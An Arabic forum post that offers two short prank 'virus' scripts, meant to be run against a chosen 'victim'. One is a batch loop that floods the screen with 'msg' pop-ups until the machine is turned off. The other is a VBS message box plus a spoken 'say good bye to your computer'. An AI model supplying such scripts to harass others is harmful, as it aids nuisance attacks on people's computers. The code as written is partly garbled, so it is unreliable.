كود فيروس batوvbs

السلام عليكم

هدا الكود بلغة bat بيظهر رسالات لضحية أنت تحددها و لا تنتهي
و لا يمكن حدفها إلا بإطفاء الجهاز
echo off@
a:
msg * hahaha
goto :a


إستبدل الرسالة hahahaب أي رسالة تريد

و هدا الكود بلغة vbs
بيظهر رسالة أنت تحددها و تتبعها رسالة صوتية أنت تحددها

if Hour(Now)<=18 then
"Message="hahaha
else
"Message= "hahaha
end if
MsgBox Message & "!" & vbnewline
Dim ProSpeak
("Set ProSpeak = WScript.CreateObject("SAPI.SpVoice
"ProSpeak.Speak "say good bye to your computer

و أتمنى أن يفيدكم موضوعي